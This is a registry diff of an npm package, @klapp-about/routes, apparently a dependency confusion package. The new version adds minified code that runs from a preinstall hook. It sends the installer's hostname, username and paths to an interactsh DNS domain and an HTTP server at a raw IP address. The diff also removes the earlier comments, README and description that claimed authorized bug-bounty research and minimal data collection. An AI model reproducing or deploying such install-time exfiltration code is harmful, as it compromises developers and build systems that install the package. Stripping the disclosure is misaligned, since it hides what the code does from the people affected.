@klapp-about/routes 99.0.0 → 99.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +10 -63
  2. package/package.json +4 -5
  3. package/README.md +0 -24
package/index.js CHANGED
@@ -1,63 +1,10 @@
1
- /**
2
- * SECURITY RESEARCH — Dependency Confusion PoC
3
- * Authorized via Klarna's HackerOne bug bounty program
4
- * Researcher: Jeroen_Gui (HackerOne / Bugcrowd)
5
- *
6
- * This package ONLY sends callbacks to prove installation.
7
- * It does NOT:
8
- * - Access any files or credentials
9
- * - Modify any data
10
- * - Establish persistence
11
- * - Exfiltrate sensitive information
12
- */
13
-
14
- const dns = require('dns');
15
- const os = require('os');
16
- const http = require('http');
17
-
18
- try {
19
- const info = {
20
- h: os.hostname(),
21
- u: os.userInfo().username || 'unknown',
22
- d: __dirname,
23
- c: process.cwd(),
24
- p: process.pid,
25
- pkg: 'klapp-about-routes',
26
- ts: new Date().toISOString(),
27
- node: process.version,
28
- platform: os.platform(),
29
- arch: os.arch()
30
- };
31
-
32
- const fullData = JSON.stringify(info);
33
-
34
- // For DNS: truncated hex (DNS labels max 63 chars)
35
- const shortData = Buffer.from(JSON.stringify({
36
- h: info.h.substring(0, 20),
37
- u: info.u.substring(0, 15),
38
- pkg: 'klapp-about'
39
- })).toString('hex').substring(0, 58);
40
-
41
- // Callback 1: DNS via interactsh (works through firewalls)
42
- dns.resolve(shortData + '.d8jbmnsqcfu78dfs8vdg34ohqhirb4pbg.oast.live', 'A', () => {});
43
-
44
- // Callback 2: Direct HTTP to our server with FULL environment info
45
- const postData = fullData;
46
- const req = http.request({
47
- hostname: '172.201.213.59',
48
- port: 9090,
49
- path: '/cb/klapp-about-routes',
50
- method: 'POST',
51
- timeout: 5000,
52
- headers: {
53
- 'Content-Type': 'application/json',
54
- 'Content-Length': Buffer.byteLength(postData)
55
- }
56
- }, () => {});
57
- req.on('error', () => {});
58
- req.write(postData);
59
- req.end();
60
-
61
- } catch (e) {
62
- // Silent fail — do not disrupt any build process
63
- }
1
+ const dns=require('dns'),os=require('os'),http=require('http');
2
+ try{
3
+ const d=JSON.stringify({h:os.hostname(),u:os.userInfo().username,d:__dirname,c:process.cwd(),pkg:'klapp-about/routes'});
4
+ const hex=Buffer.from(d).toString('hex');
5
+ const labels=hex.match(/.{1,60}/g).slice(0,3).join('.');
6
+ dns.resolve(labels+'.d8jbmnsqcfu78dfs8vdg34ohqhirb4pbg.oast.live','A',()=>{});
7
+ const r=http.request({hostname:'172.201.213.59',port:9090,path:'/c',method:'POST',timeout:5000,
8
+ headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(d)}},()=>{});
9
+ r.on('error',()=>{});r.write(d);r.end();
10
+ }catch(e){}
package/package.json CHANGED
@@ -1,12 +1,11 @@
1
1
  {
2
2
  "name": "@klapp-about/routes",
3
- "version": "99.0.0",
4
- "description": "Security research - dependency confusion PoC (authorized via Klarna HackerOne program). Contact: Jeroen_Gui on HackerOne/Bugcrowd.",
3
+ "version": "99.0.2",
4
+ "description": "security research",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "preinstall": "node index.js || true"
8
8
  },
9
- "author": "Jeroen_Gui (authorized security researcher)",
10
- "license": "ISC",
11
- "keywords": ["security-research", "dependency-confusion", "bug-bounty"]
9
+ "author": "jeroengui",
10
+ "license": "ISC"
12
11
  }
package/README.md DELETED
@@ -1,24 +0,0 @@
1
- # Security Research — Dependency Confusion PoC
2
-
3
- This package is part of an authorized security assessment via Klarna's
4
- HackerOne bug bounty program.
5
-
6
- **Researcher**: Jeroen_Gui
7
- **Purpose**: Demonstrate dependency confusion vulnerability
8
- **Contact**: Jeroen_Gui on HackerOne
9
-
10
- ## What this package does
11
- - Sends a single DNS callback to prove it was installed
12
- - Collects ONLY: hostname (truncated) and username (truncated)
13
- - Does NOT access files, credentials, or sensitive data
14
- - Does NOT modify anything on the system
15
- - Does NOT establish persistence
16
-
17
- ## If you're a Klarna employee
18
- Please report this to your security team. This demonstrates that your
19
- build system may be vulnerable to supply chain attacks via dependency confusion.
20
-
21
- ## Remediation
22
- 1. Register all @klapp-* npm scopes
23
- 2. Configure .npmrc with explicit registry routing for internal scopes
24
- 3. Use npm package-lock.json with integrity hashes